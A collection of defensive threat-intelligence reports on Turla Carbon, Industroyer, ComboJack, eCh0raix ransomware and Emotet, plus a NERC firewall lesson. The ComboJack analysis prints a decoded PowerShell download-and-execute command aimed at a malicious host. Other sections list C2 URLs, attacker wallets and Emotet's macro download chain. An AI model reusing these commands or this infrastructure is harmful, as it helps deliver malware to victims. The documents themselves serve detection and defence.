text
stringlengths 8
115k
|
---|
# Lesson Learned: Risks Posed by Firewall Firmware Vulnerabilities
## Primary Interest Groups
- Transmission Operators (TOPs)
- Transmission Owners (TOs)
- Generation Operators (GOPs)
- Generation Owners (GOs)
- Distribution Providers (DPs)
- Reliability Coordinators (RCs)
- Balancing Authorities (BAs)
## Problem Statement
A vulnerability in the web interface of a vendor’s firewall was exploited, allowing an unauthenticated attacker to cause unexpected reboots of the devices. This resulted in a denial of service (DoS) condition at a low-impact control center and multiple remote low-impact generation sites. These unexpected reboots resulted in brief communications outages (i.e., less than five minutes) between field devices at sites and between the sites and the control center.
## Details
A registered entity with a low-impact control center experienced brief outages of internet-facing firewalls that controlled communications between the control center and multiple remote generation sites and between equipment on these sites. The affected firewalls were all perimeter devices that served as the outer security layer. These outages had no impact on generation. Seeing several of these outages at different sites raised suspicion and led to a more in-depth investigation. This investigation revealed that the communications outages were due to reboots of the firewalls at each of the sites. The entity’s system monitoring tools also provided notification of the firewall reboots. These records show the firewall reboots occurred over a 10-hour time period with each firewall showing offline status for less than five minutes.
After an initial internal investigation, the entity decided that, in order to fully characterize the nature of the reboots and the potential causes, the firewall manufacturer should review logs. Subsequent analysis determined that the reboots were initiated by an external entity exploiting a known firewall vulnerability. After receiving this notification, the entity initiated their event reporting procedure as dictated by their cybersecurity incident response plan. Along with identifying the cause of the reboots, the firewall manufacturer offered a firmware update that would address the vulnerability. The entity assessed the update details and determined it was appropriate to deploy immediately. The entity first deployed the firmware patch on a firewall within a non-critical environment at the entity’s control center that would not impact operational assets and monitored the changes for any adverse effects. After seeing no adverse effects, the entity deployed the firmware patch at an operational generation site that night. After monitoring traffic in the production environment overnight and early the following morning, the entity deployed the update to all remaining BES assets that had common hardware with the firmware vulnerability.
## Corrective Actions
After completing mitigation efforts to address the immediate risk posed by the firmware vulnerability, the entity performed an internal assessment to identify internal process improvements to reduce the likelihood of an event with a similar cause from happening again. Given that a firmware update to address the exploited vulnerability had been released prior to the event, the entity’s process for assessing and implementing firmware updates was reviewed. Based on this review, the entity decided to implement a more formal and more frequent review of vendor firmware updates that would be tracked within internal compliance tracking software. It should be noted that the entity was already working to develop internal procedures to support this process; however, these were not completed or being practiced at the time of the event. Additionally, the entity now utilizes firewall rules that restrict allowable traffic to the minimum required to operate the assets.
## Lesson Learned
Even in cases involving low-impact BES assets, an entity should strive for good cybersecurity policies and procedures. Consider some of the following lessons:
- Follow good industry practices for vulnerability and patch management.
- Close monitoring of vendor firmware releases and their implementation is a key element of a strong cybersecurity posture. Firewall firmware updates need to be reviewed as quickly as possible after release for risk and applicability.
- Testing in a development (or “sandbox”) environment prior to deployment is the best way to check for the patch’s potential to introduce new problems.
- Reduce and control your attack surface.
- Have as few internet-facing devices as possible.
- Use virtual private networks.
- Use access control lists (ACLs) to filter inbound traffic prior to handling by the firewall; minimize the traffic through a denial by default configuration with whitelisting for the allowed and expected IP addresses. Limit outbound traffic similarly for information security purposes.
- Layer defenses. It is harder to penetrate a screening router, a virtual private network terminator, and a firewall in series than just a firewall (assuming the ACLs and other configurations are appropriate).
- Segment your network. Restrict lateral communication to necessary and expected traffic to reduce the impact of a breach.
- Know your exploitable vulnerabilities so you can pursue fixes.
- Maintain awareness of vulnerabilities and understanding of those in your environment through product vendor websites and user groups and third-party resources, such as the National Vulnerability Database, SANS Internet Storm Center, Exploit Database, etc.
- Consider asking the Department of Homeland Security under the “National Cybersecurity Assessment and Technical Services (NCATS) program” (or a security vendor) to conduct external vulnerability scanning.
- Join the Electricity Information Sharing and Analysis Center (E-ISAC).
- Monitor your network.
- System performance monitoring increases the likelihood that brief communications outages with little actual impact to generator operations will be more closely investigated. This is how this lesson learned came to be.
- Use tools for firewall log analysis to detect events and support post-event investigations. This will provide information about the nature of attacks and exploits used.
- Report attacks and suspicious activity to the E-ISAC.
- Employ redundant solutions to provide resilience and online maintenance capabilities:
- Of the entity’s sites impacted by the firewall reboot, not all experienced communications disruptions. Following the event, it was discovered that the sites running firewalls in high-availability/redundant pair configuration maintained communications during the reboots. At sites utilizing this design, the secondary firewall maintained communications while the primary firewall rebooted.
- Firewall redundancy preserves functionality in the event of a single firewall failure.
- Firewall redundancy reduces the impact of firmware updates since each firewall can be updated independently without interrupting communications during the update process.
NERC’s goal with publishing lessons learned is to provide industry with technical and understandable information that assists them with maintaining the reliability of the bulk power system. |
# Turla Carbon System
The Carbon System or Project Cobra is a malware framework developed by the actors identified as Turla. It's a sophisticated backdoor used to steal sensitive information from high-value targets like diplomats or foreign affairs ministries.
## IOCs
### Samples
**Carbon Dropper**
a6efd027b121347201a3de769389e6dd
**Carbon Service**
957930597221ab6e0ff4fd7c6f2ee1cc
**Carbon Orchestrator**
3b10f20729d79ca3a92510674ff037c2
78cadb0a538105f2fdcb42f9956e49b5
**Carbon Comms x86**
1/2c9c819991d4e6476e8f0307beed080b7
1a2372b990a7ff7efd991707d52a13e6
0868a27ef0aa512cbae82f4251767f4b
**Carbon Comms x64**
e5a90e7e63ededbdd5ee13219bc93fce
7ec8a9641d7342d1a471ebcd98e28b62
efcfff316e9cf183ca1cd619968cd11c
### C&C
www.berlinguas[.]com:443:/wp-content/languages/index.php
www.balletmaniacs[.]com:443:/wp-includes/fonts/icons/
pastebin[.]com:443:/raw/5qXBPmAZ
## Content
**Carbon_decrypt_config.py**
ESET Python script to extract encrypted configuration from Carbon
**a6efd027b121347201a3de769389e6dd_Config.txt**
Carbon configuration file extracted from the dropper with hash a6efd027b121347201a3de769389e6dd
## Yara Rules
**apt_RU_Turla_Carbon_Dropper.yar**
YARA Rule to detect the Carbon dropper
**apt_RU_Turla_Carbon_ServiceDLL.yar**
YARA Rule to detect the Carbon Service DLL
**apt_RU_Turla_Carbon_CommunicationLibrary.yar**
YARA Rule to detect the Carbon Comms Library
**apt_RU_Turla_Carbon_Orchestrator.yar**
YARA Rule to detect the Carbon Orchestrator |
# Industroyer: Biggest Threat to Industrial Control Systems Since Stuxnet
ESET has analyzed a sophisticated and extremely dangerous malware, known as Industroyer, which is designed to disrupt critical industrial processes.
The 2016 attack on Ukraine’s power grid that deprived part of its capital, Kiev, of power for an hour was caused by a cyberattack. ESET researchers have since analyzed samples of malware, detected by ESET as Win32/Industroyer, capable of performing exactly that type of attack.
Whether the same malware was really involved in what cybersecurity experts consider to have been a large-scale test is yet to be confirmed. Regardless, the malware is capable of doing significant harm to electric power systems and could also be refitted to target other types of critical infrastructure.
Industroyer is a particularly dangerous threat, since it is capable of controlling electricity substation switches and circuit breakers directly. To do so, it uses industrial communication protocols used worldwide in power supply infrastructure, transportation control systems, and other critical infrastructure systems (such as water and gas).
These switches and circuit breakers are digital equivalents of analogue switches; technically they can be engineered to perform various functions. Thus, the potential impact may range from simply turning off power distribution, cascading failures, and more serious damage to equipment. The severity may also vary from one substation to another. Needless to say, disruption of such systems can directly or indirectly affect the functioning of vital services.
Industroyer’s dangerousness lies in the fact that it uses protocols in the way they were designed to be used. The problem is that these protocols were designed decades ago, and back then industrial systems were meant to be isolated from the outside world. Thus, their communication protocols were not designed with security in mind. That means that the attackers didn’t need to be looking for protocol vulnerabilities; all they needed was to teach the malware “to speak” those protocols.
The recent power outage occurred on December 17th, 2016, almost exactly one year after the well-documented cyberattack that caused a blackout that affected around 250,000 households in several regions in Ukraine on December 23rd, 2015. In 2015, the perpetrators infiltrated the electricity distribution networks with the BlackEnergy malware, along with KillDisk and other malicious components, and then abused legitimate remote access software to control operators’ workstations and to cut off power. Aside from targeting the Ukrainian power grid, there are no apparent similarities in code between BlackEnergy and Industroyer.
## Structure and Key Functionalities
Industroyer is modular malware. Its core component is a backdoor used by attackers to manage the attack: it installs and controls the other components and connects to a remote server to receive commands and to report to the attackers.
What sets Industroyer apart from other malware targeting infrastructure is its use of four payload components, which are designed to gain direct control of switches and circuit breakers at an electricity distribution substation. Each of these components targets particular communication protocols specified in the following standards: IEC 60870-5-101, IEC 60870-5-104, IEC 61850, and OLE for Process Control Data Access (OPC DA).
Generally, the payloads work in stages whose goals are mapping the network, and then figuring out and issuing commands that will work with the specific industrial control devices. Industroyer’s payloads show the authors’ deep knowledge and understanding of industrial control systems.
The malware contains a few more features that are designed to enable it to remain under the radar, to ensure the malware’s persistence, and to wipe all traces of itself after it has done its job. For example, the communication with the C&C servers hidden in Tor can be limited to non-working hours. Also, it employs an additional backdoor – masquerading as the Notepad application – designed to regain access to the targeted network in case the main backdoor is detected and/or disabled.
Its wiper module is designed to erase system-crucial Registry keys and overwrite files to make the system unbootable and the recovery harder. Of interest is the port scanner that maps the network, trying to find relevant computers: the attackers made their own custom tool instead of using existing software. Finally, yet another module is a Denial-of-Service tool that exploits the CVE-2015-5374 vulnerability in Siemens SIPROTEC devices and can render targeted devices unresponsive.
## Conclusion
Industroyer is highly customizable malware. While being universal, in that it can be used to attack any industrial control system using some of the targeted communication protocols, some of the components in analyzed samples were designed to target particular hardware. For example, the wiper component and one of the payload components are tailored for use against systems incorporating certain industrial power control products by ABB, and the DoS component works specifically against Siemens SIPROTECT devices used in electrical substations and other related fields of application.
While in principle it’s difficult to attribute attacks to malware without performing an onsite incident response, it’s highly probable that Industroyer was used in the December 2016 attack on the Ukrainian power grid. On top of the fact that the malware clearly possesses the unique capabilities to perform the attack, it contains an activation timestamp for December 17th, 2016, the day of the power outage.
The 2016 attack on the Ukrainian power grid attracted much less attention than the attack that occurred a year earlier. However, the tool most likely used, Win32/Industroyer, is an advanced piece of malware in the hands of a sophisticated and determined attacker. Thanks to its ability to persist in the system and provide valuable information for tuning-up the highly configurable payloads, attackers could adapt the malware to any environment, which makes it extremely dangerous. Regardless of whether or not the recent attack on the Ukrainian power grid was a test, it should serve as a wake-up call for those responsible for security of critical systems around the world.
Additional technical details on the malware and Indicators of Compromise can be found in our comprehensive white paper. For any inquiries, or to make sample submissions related to the subject, contact us at: [email protected]. |
# Sure, I’ll take that! New ComboJack Malware Alters Clipboards to Steal Cryptocurrency
By Brandon Levene and Josh Grunzweig
March 5, 2018 at 5:00 AM
Category: Unit 42
Tags: ComboJack, Cryptocurrency, CVE-2017-8579, malware
## Summary
Unit 42 researchers have discovered a new currency stealer which targets cryptocurrencies and online wallets. “CryptoJack” functions by replacing clipboard addresses with an attacker-controlled address which sends funds into the attacker’s wallet. This technique relies on victims not checking the destination wallet prior to finalizing a transaction. In 2017, CryptoShuffler was the first malware to utilize this tactic. In contrast to that one, which focused on numerous cryptocurrencies, ComboJack targets both a range of cryptocurrencies, as well as digital currencies such as WebMoney and Yandex Money.
## Details
Early on the morning of February 25, 2018, Unit 42 and Proofpoint researchers observed an interesting malspam campaign targeting Japanese and American users. This particular campaign tried to entice users by claiming a passport was lost and that the attached PDF contained a scanned copy of the document.
Users opening this PDF would find a single line of text which refers to an embedded doc file. Similar to techniques utilized by Dridex and Locky in mid-2017, the PDF contained an embedded RTF file which contains an embedded remote object that attacks CVE-2017-8579.
This embedded remote object is an HTA file which was located at hXXps://a.doko[.]moe/tnejln which contains encoded PowerShell commands.
Decoding the contents of the HTA file yields the following PowerShell command which downloads and executes a file:
```
wscript.shell%systemroot%\system32\windowspowershell\v1.0\powershell.exe (new-object system.net.webclient).downloadfile(hXXp://masolo[.]win/protect/achi.exe $env:appdata\bstest.exe) ; start $env:appdata\bstest.exe
```
The full flow of execution may be visualized as follows:
That leads us to the payload, which we have dubbed ComboJack because of how it attempts to hijack a combination of digital currencies.
## ComboJack
The following files were used for this analysis, which are explained below.
- **Initial File SHA256**: 9613aefc12880528040812b0ce9d3827d1c25fe66f8598eaef82c169e8ed02da
- **Second Stage SHA256**: cab010b59cf9d649106477df012ca49f939aa537910b56bfadbe1381b0484d88
- **Final Payload SHA256**: 05dfde82a9790943df8dfab6b690ec18711ce3558f027dd74504b125d24d6136
The initially downloaded file is a self-extracting executable (SFX) with embedded commands for extracting the second stage. This second stage is a password protected SFX, however, the password is supplied by the first stage. This allows us to easily recover the contents of the second stage.
Once the second stage is extracted and run, we are presented with the final stage of this attack, which we refer to as ComboJack. Once ComboJack is extracted it begins by copying itself to the following location:
```
C:\\ProgramData\\NVIDIA\\NVDisplay.Container.exe
```
It then uses the built-in Windows tool, attrib.exe (used for setting file attributes), to set both hidden and system attributes to itself. This hides the file from the user and allows it to execute with SYSTEM level privileges.
```
"cmd /k attrib +s +h \"C:\\ProgramData\\NVIDIA\\NVDisplay.Container.exe\""
```
Finally, the payload sets the following registry key to ensure persistence:
```
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\NVIDIA – C:\ ProgramData\NVIDIA\NVDisplay.Container.exe
```
When the above steps are completed, ComboJack enters into an infinite loop. Every half second it checks the contents of the clipboard. The contents of the clipboard are checked for various criteria to determine if the victim has copied wallet information for various digital currencies. In the event a wallet of interest is discovered, ComboJack will replace it with a hardcoded wallet that the attacker presumably owns in an attempt to have the victim accidentally send money to the wrong location. This tactic relies on the fact that wallet addresses are typically long and complex and to prevent errors, most users will opt to copy an exact string in order to prevent potential errors. If any potential currency addresses are found, they are replaced following the criteria in the table below:
| Checks for this criteria | Replaces with | Wallet Type |
|--------------------------|----------------|-------------|
| Length of 42 and starts with ‘0’ | 0xE44598AB74425450692F7b3a9f898119968da8Ad | Ethereum |
| Length of 106 and starts with ‘4’ | 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBE | Monero. It’s important to note that this replacement string is not long enough, as Monero wallet addresses are either 95 or 106 characters in length. This was likely a mistake made by the author. |
| Length of 34 and starts with ‘1’ | 1LGskAycxvcgh6iAoigcvbwTtFjSfdod2x | Bitcoin |
| Length of 34 and starts with ‘L’ | LYB56d6TeMg6VmahcgfTZSALAQRcNRQUV | Litecoin |
| Length of 11 and starts with ‘8’ | 79965017478 | Qiwi |
| Length of 13 and starts with ‘R’ | R064565691369 | WebMoney (Rubles) |
| Length of 13 and starts with ‘Z’ | Z152913748562 | WebMoney (USD) |
| Length of 13 and starts with ‘E’ | 88888888888888888888888888888888888888888888888888 | Unknown |
| Length of 15 and starts with ‘4100’ | 410014474125403 | Yandex Money |
ComboJack shares some similarities in basic functionality with CryptoShuffler, which is a malware family discovered by Kaspersky in 2017. However, whereas CryptoShuffler focused exclusively on cryptocurrencies, ComboJack also targets popular digital payment systems, such as WebMoney (USD, EUR, and RUB), and Yandex Money.
## Conclusion
With the proliferation of Cryptomining malware, it is curious to see some actors take a different route to acquiring web-based currency. Cryptoshuffler in 2017 may have been only the beginning of simple, yet effective clipboard stealers like ComboJack. By targeting multiple cryptocurrencies and web-based wallets, the author of ComboJack appears to be hedging his or her bets on which currency will boom and which will bust. As the prices of cryptocurrencies continue to rise it is likely we will see more and more malware targeting cryptocurrencies, as it presents the fastest way to the highest profit.
Palo Alto Networks WildFire customers are protected from this threat through the following ways:
- ComboJack malware is identified as malicious and blocked via the Traps and WildFire products.
- Customers may monitor and track ComboJack through the AutoFocus tag.
## IOCs
**Lure PDFs:**
- dd8ba88df50de86e7bb9b6343313e48e1e3b8d1a84ffca0a06a203a2f027cfdc
- d3a5313a0070b8400b0d661f2515a0eb83e4e6110b98e9ffb6618e457bf52714
- 15e6984beea04bf2f26fbbe1e490c59d1f51ba7ad0dce3ac76cea21579ca694b
- 325fd50143d6d975d9db18cf9a069c9107c3bfcad5a07653d53c0fc315ee27ab
**Payload:**
- bd1b56b6814aae369b0593dfe71450e1b45cb288f752faa2622d1b189bc6b2d6
- 228e8b728f7b714934f5ecfa6fd5de256d1d24f634a63f2fc4663c7cfb3b9d65
- 05dfde82a9790943df8dfab6b690ec18711ce3558f027dd74504b125d24d6136
- d92b4c622d3524f6d5ce8fe53d802c6a0c51fd1f56ac2b554daac24d7b4fb8ef
- 4d96d8cfefd9cc3f86bd3ab7f054f0b0acef726a4c349359bf44d22952b4744d
- 85c27addbf3a7234ac1e2922002fdef216994708bdda28f2ad6d3a7a1b32934e
- ea5eb17c32767486c1b3a8ee7a8eacefab125c93414cdea97348c2ee96752f7e
- a6807cf5ed53b34cc9513defcde56c8a956c3d574ee9f300b3a763a7c8287081
- 8d8f497313ed797090ef552d44198f8c21f0a6ed261b30902d4d37478cd2efeb
- 47f14c24212c32e686f0b9162530c4b966c9cff907e1920c096ad81d078f20cd
- 05cbc6b1e98bc6f8935f95454ba214cccaf3a36c497126512669daba59a407a0
- 8a6f75a4a58bdafed085fd640681a4c94eee54f1bfb6e5eb6dcf8eb7524d2a2e
- 2ee9a1c554a774925f83428a0822b901d7b3ed81c247cb0d038ecc188d9f9149
- d0f6dcdb4f749490a7ef678e9006474c885fbb3d8e396a5c8f2150441bb34782
- a10a5666ce31c7a3de760f33d93bd924354e7bac1f07bde9e3ac3da8e250eb6d
- 98e896586ea71f80a2b0024ec86133bfa5163f01f4faa1b1f380f0a2ea128c2f
- f9bff08960484d5c97f075090b9843dc1d54839a4dabc514e8f97f809e1ceaf5
- c1cc9448ee5684698f7891911821a9eb86f56be8852adef613b2fab4636e7b36
- ece82af6fa1e94904d62e86fe86810fe85b058e56a311ca24ac7667409cff8c0 |
# The eCh0raix Ransomware
## Introduction
Anomali researchers have observed a new ransomware family, dubbed eCh0raix, targeting QNAP Network Attached Storage (NAS) devices. QNAP devices are created by the Taiwanese company QNAP Systems, Inc., and contain device storage and media player functionality, amongst others. The devices appear to be compromised by brute forcing weak credentials and exploiting known vulnerabilities in targeted attacks. The malicious payload encrypts the targeted file extensions on the NAS using AES encryption and appends the .encrypt extension to the encrypted files. The ransom note created by the ransomware has the form shown below.
**All your data has been locked (crypted).**
**How to unlock (decrypt) instruction located in this TOR website:**
**Use TOR browser for access .onion websites.**
**Do NOT remove this file and NOT remove last line in this file!**
**[base64 encoded encrypted data]**
Note that there is a typo in the ransom note which may indicate that the actors behind this campaign are not native-English speakers.
## QNAP Technical Breakdown
The malware is written and compiled in the Go programming language. The ransomware is very simple with its source code being fewer than 400 lines. A reconstruction of the source code tree is shown below. The functionality is standard for ransomware: check if already encrypted, walk the file system for files to encrypt, encrypt the files, and produce the ransom note.
```
Package main: /home/user/go/src/qnap_crypt_worker
File: main.go
getInfo Lines: 61 to 123 (62)
checkReadmeExists Lines: 123 to 132 (9)
(init)0 Lines: 132 to 161 (29)
main Lines: 161 to 213 (52)
(main)func1 Lines: 185 to 191 (6)
randSeq Lines: 213 to 222 (9)
in Lines: 222 to 231 (9)
writemessage Lines: 231 to 238 (7)
chDir Lines: 238 to 269 (31)
encrypt Lines: 269 to 349 (80)
makesecret Lines: 349 to 358 (9)
```
Upon execution, the malware reaches out to the URL `http://192.99.206[.]61/d.php?s=started` and notifies the Command and Control (C2) that the encryption process has begun.
## Establishing C2 connection
The malware communicates to the C2 `sg3dwqfpnr4sl5hh[.]onion` via a SOCKS5 Tor proxy at `192.99.206[.]61:65000`. Based on the analysis, it is clear that the proxy has been set up by the malware author to provide Tor network access to the malware without including Tor functionality in the malware.
The malware retrieves the RSA public key and the ‘readme’ text content from the C2 server. One of the samples analyzed used the URL `http://sg3dwqfpnr4sl5hh[.]onion/api/GetAvailKeysByCampId/10`, which possibly suggests this was the 10th campaign run by the threat actor. The data returned by the C2 server is encoded in JSON and the malware unserializes the data into the following Go data struct:
```go
type main.Info struct {
RsaPublicKey string
Readme string
}
```
## Encryption Module
The module generates a 32 character random string from the array “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+” to create an AES-256 key. By using this fixed set of characters, the effective key space is 192-bit. The malware initializes the math random page with the seed of the current time. Since it is using the math’s package to generate the secret key, it is not cryptographically random and it is likely possible to write a decryptor.
The generated AES key is then encrypted with a public key which was either embedded in the malware sample or retrieved from the C2 server, depending on the version of the malware. The resulted string is then encoded with base64 and added to the `README_FOR_DECRYPT.txt` file.
Before the malware encrypts any files, it proceeds to kill the below list of processes. The processes are stopped on the infected NAS by issuing the commands “service stop %s” or “systemctl stop %s”.
- apache2
- httpd
- nginx
- mysqld
- mysql
- php-fpm
- php5-fpm
- postgresql
## File Encryption
The files are encrypted with AES in Cipher Feedback Mode (CFB) with the secret key that was generated. When selecting files to encrypt, the ransomware skips any files where the absolute path for the file contains any of the strings listed below.
- /proc
- /boot/
- /sys/
- /run/
- /dev/
- /etc/
- /home/httpd
- /mnt/ext/opt
- .system/thumbnail
- .system/opt
- .config
- .qpkg
If the path does not contain any of the strings, it checks the file extension for the file. If the file extension is one of the extensions shown below, the ransomware encrypts the file. The encrypted data is written to a new file with the original name and file extension but the file extension “.encrypt” is appended to the end. Once the file has been written, the original file is removed.
```
.dat .db0 .dba .dbf .dbm .dbx .dcr .der .dll .dml .dmp .dng .doc .dot .dwg .dwk .dwt .dxf .dxg .ece .eml
```
Once the entire encryption process is completed, the malware reaches out to the URL `http://192.99.206.61/d[.]php?s=done` and sends the command “done” to notify the completion of encryption.
## C2 Analysis
The analyzed C2 URL (`http://sg3dwqfpnr4sl5hh[.]onion`) has partial directory listing enabled, and after browsing through the directories, Anomali researchers were able to find a sample named “linux_crypter”. The sample was packed by UPX. Analysis of the unpacked sample confirmed that it is written in Go and had some modifications to the previously analyzed sample. The sample found on C2 checks the locale of the infected NAS for Belarus, Ukraine, or Russia and exits without doing anything if a match is found. This technique is common amongst threat actors, particularly when they do not wish to infect users in their home country.
## Analysis
The eCh0raix ransomware, named after a string found in the malware, is a ransomware used in targeted attacks. It appears to not be designed for mass distribution. The samples with a hardcoded public key appear to be compiled for the target with a unique key for each target. Otherwise, the decryptor sold by the threat actor could be used for all victims. The samples that fetch the public key and ransom note from the C2 server also send a request when it starts and when it is done. This is probably used to provide the threat actor with live feedback. The request does not include any identifiable information for the threat actor to discern multiple targets.
The threat actor targets QNAP NAS devices that are used for file storage and backups. It is not common for these devices to run antivirus products, and currently, the samples are only detected by 2-3 products on VirusTotal, which allows the ransomware to run uninhibited. It is not known how these devices are infected. According to a post on Bleeping Computer’s forum, some infected systems were not fully patched and others reported detections of failed login attempts.
## Recommendations
Restrict external access to the QNAP NAS device. Ensure it is up to date with security patches and that strong credentials are employed.
Affected QTS versions according to BleepingComputer forum users:
- 4.1.3
- 4.2.6
- QNAP TS-459 Pro II with 4.2.6 firmware
- QNAP TS-251+ (4.3.1.0695 Build 20180830)
## Yara rule
```yara
rule eCh0raix {
meta:
author = "Anomali"
tlp = "GREEN"
description = "Rule to detect eCh0raix ransomware"
version = "1.0"
strings:
$magic = "eCh0raix"
$s0 = "go.buildid"
$s1 = "main.main"
$s2 = "makesecret"
$s3 = "chDir"
$s4 = "writemessage"
$s5 = "randSeq"
$s6 = "encrypt"
condition:
uint16(0) == 0x457f and $magic and all of ($s*)
}
```
## Bitcoin addresses
- 18C28bVEctVtVbwNytt4Uy6k7wxpysdDLH
- 1Fx7jev3dvHobdK8m3Jk6cA8SrfzjjLqvM
## Samples
- 154dea7cace3d58c0ceccb5a3b8d7e0347674a0e76daffa9fa53578c036d9357 (DE)
- 3d7ebe73319a3435293838296fbb86c2e920fd0ccc9169285cc2c4d7fa3f120d (TW)
- 95d8d99c935895b665d7da2f3409b88f (linux_cryptor)
## URLs
- `http://sg3dwqfpnr4sl5hh[.]onion/api/GetAvailKeysByCampId/13`
- `http://sg3dwqfpnr4sl5hh[.]onion/order/1LWqmP4oTjWS3ShfHWm1UjnvaLxfMr2kjm`
- `http://sg3dwqfpnr4sl5hh[.]onion/static/`
## IP
- 192.99.206.61:65000
## MITRE ATT&CK TTPs: |
# Emotet Returns and Deploys Loaders
**Equipe CTI**
**9 janvier 2023**
First identified in 2014 (as the Geodo banking Trojan) and considered by the U.S. Department of Homeland Security (DHS) to be one of the “most costly and destructive malwares” in the world, Emotet appears to be back after four months of inactivity. Indeed, the spam campaigns had come to an abrupt halt on July 13, 2022, after being responsible for the compromise of more than one million computers worldwide. However, the lull seems to have come to an end as cybersecurity researcher Tommy Madjar (@ffforward, a member of Cryptolamus) has identified a return of Emotet-related operations as of November 2, 2022, in the morning. Contacted by BleepingComputer, the CTI researcher at Proofpoint added that phishing campaigns spreading Emotet were back with the same email thread hijack technique to lure users and spread maldocs. Intrinsec was able to independently confirm the resurgence of Emotet from its probes.
As a reminder, Emotet was originally designed as a banking Trojan before evolving into a modular Trojan, being the fourth iteration of the Geodo malicious code. Since 2017, however, Emotet is no longer used as a Trojan but as a loader-as-a-service (LaaS) for the purpose of distributing malicious code within the information systems (IS) it infects. According to Trend Micro, Emotet’s business is tied to Russian-speaking actors and likely resides somewhere in the UTC +10 time zone or further east based on C&C delivery activities. Since then, along with peaks of activity, Emotet has become an important initial access broker that enables top-tier ransomware gangs.
In the recent past, Emotet was known to install the TrickBot malware or more recently Cobalt Strike. The Emotet malware was also known to be used by Conti operators as well as BlackCat and Quantum operators after Conti operations “ended” in June 2022. Otherwise, Microsoft reported recently that developers of Emotet (but also of IcedId and Qakbot) have been recruited by DEV-0193 cluster (Trickbot).
As far as the new Emotet distribution campaign is concerned, it appears to have relatively little new features at the time of writing, keeping a relatively similar distribution pattern to previous ones observed by leveraging EtterSilent maldoc builder. In France, stolen emails linked to notary offices have been observed in this new campaign, while similar emails appeared in a previous campaign in October 2020.
Of note though, is the new social engineering technique introduced by a new Excel attachment containing instructions to bypass Microsoft’s “Mark-of-the-Web” (MoTW) detection process. This Excel file would contain instructions to coerce the user to copy the maldoc to a trusted folder named “Templates,” allowing it to bypass Microsoft’s Protected View. Once the file is moved and opened in this folder, it immediately executes the macros that trigger the loading of the Emotet malware.
We also explain in the main text that since its return, Emotet has been seen dropping IcedID and Bumblebee malwares. We anticipate that further variants and techniques will surface in the future with such volumes of spam seeking to deploy ‘in fine’ ransomwares. As far as other types of threats are concerned, a recent report from Proofpoint showed that Emotet is delivering a new module that executes XMRig (the most common Monero miner).
The present report also provides several tips to analyze the whole attack chain leveraged by Emotet as well as some recommendations to defend against it.
## Intrinsec CTI Services
Organizations are facing a rise in the sophistication of threat actors and intrusion sets used by malicious actors. Emotet, described as “one of the world’s most destructive malwares” by the U.S. Department of Homeland Security, is regularly seen in new attack campaigns, overcoming security tools developed by editors.
To address these evolving threats, it is now necessary (but not sufficient) to take a proactive approach to the detection and analysis of any element deemed malicious, in order to allow companies to anticipate, or at least react as quickly as possible, to the attempted compromises they face.
For this report, shared with our clients in November 2022, Intrinsec relied on its Cyber Threat Intelligence service, which provides its customers with high value-added, contextualized and actionable content to understand and contain cyber threats. To go further, Intrinsec offers you, through its “Risk Anticipation” module, dedicated and actionable intelligence to feed your security tools.
## Emotet’s Aliases
### Recent Emotet Delivery Tactics, Techniques, and Procedures
Our analysis starts with the first stage of the attack chain that uses a phishing email, more specifically a spear phishing attachment technique. For this, we found and analyzed an email sent by Emotet upon a recent spam campaign that contains a malicious document (maldoc) attached to the email.
As extensively seen in the past TTPs of Emotet, the latter fakes replies based on legitimate emails stolen from mail clients of Windows hosts previously infected. The Eml file of sha256: 910731579a78d2da6452bede7dfce8e1f89c285c22d8a7d40db2eafc2fcc45af was retrieved from VirusTotal.
Once the lured user opens the XLS file, a message box informs them that the document needs to be copied in a specific directory path to display the contents of the file. Emotet spreaders are now using a new social engineering technique to coerce the user to copy the Excel file into the Microsoft Office Templates folder before relaunching it. This is achieved via a fake yellow graphical ribbon pretending to be an official Microsoft warning. Because the Templates folder is considered a trusted location according to Microsoft Office policy, the malicious macro will run immediately without a security warning. If you don’t copy the file anywhere, it will still execute the macros as soon as you press Enable Content in the yellow security warning from Excel (not the fake one in the spreadsheet).
It is striking that Emotet so far has not migrated away from Office macros to other delivery mechanisms like ISO and LNK files. Indeed, many malware families quickly adopted this workaround following Microsoft’s recent announcement that it would begin disabling macros by default in Office documents downloaded from the internet.
At the bottom of the document is usually seen one or several sheets (up to six) with apparent blank cells being password protected. We expect that this technique could slightly change in the future to evade heuristic signatures.
The Emotet spreaders relied on a sheet protection measure for the sheets so that the user cannot view the included macro formula. However, the password protection of Office can be broken via a well-known brute force technique in a reasonable amount of time or via a specific patching procedure. We retrieved the password using the first technique to reveal the cell contents and the macro content. The password to unprotect the sheets and reveal its content is: AABABAAABBB^.
Another trick to avoid analysis was to scatter and blank data in cells by changing the color. Using Olevba, a free python tool, it is possible to find the cell containing the general formula concatenating the whole command executed upon the excel file opening.
Another trick to slow down the analysis was to shrink the column G in sheet 6. In the present case, a field called “Auto_Open07457358934307593258350725798323209” was also observed. This latter automatically triggers the aforementioned formula visible in G13 cell when the workbook is opened.
In the present case, a CALL function is used to download and save files to the disk, via the function URLDownloadToFileA, from URLs. It is followed by an EXEC function to execute each downloaded file via the living off the land binary (LOLBin) regsvr32.exe.
Four DLLs were then downloaded from those URLs. Three of these DLLs were copied in %UserProfile%\AppData\Local with random names in a dedicated folder also having a random name, probably to bypass detection.
The LOLBin regsvr32.exe is then used to execute those 4 downloaded DLLs. regsvr32.exe will then communicate with a Korean IP address (182.162.143.56). This IP address belongs to the list of C2s extracted from the present sample.
As far as the persistence mechanism is concerned, the access is maintained on the system by adding multiple keys to the Windows registry, which will execute the DLL at every restart with regsvr32.exe. Each key will start regsvr32.exe at the system’s startup to execute the DLLs.
All described techniques (hidden sheets, password protection, white background and characters) and observed attack chain suggest that this campaign could be attributed to Emotet’s epoch5 botnet, which leverages the SilentBuilder dropper.
### EtterSilent Maldoc Builder Distribution
After having analyzed several samples, we concluded from observed commonalities within the maldocs’ metadata that EtterSilent maldoc builder was leveraged for Emotet’s distribution. EtterSilent was created by a threat actor known as AshkERE on Russian speaking underground cybercriminal forums (Exploit and XSS). This threat actor appears as the sole seller and developer of EtterSilent. As a reminder, EtterSilent is a malicious document generator with embedded evasion defense techniques offering two types of weaponized Microsoft Office documents (maldocs). The most popular version seems the one leveraging macros, which is serving many other threats such as Gozi, IcedID, Trickbot, BazarLoader and Qbot.
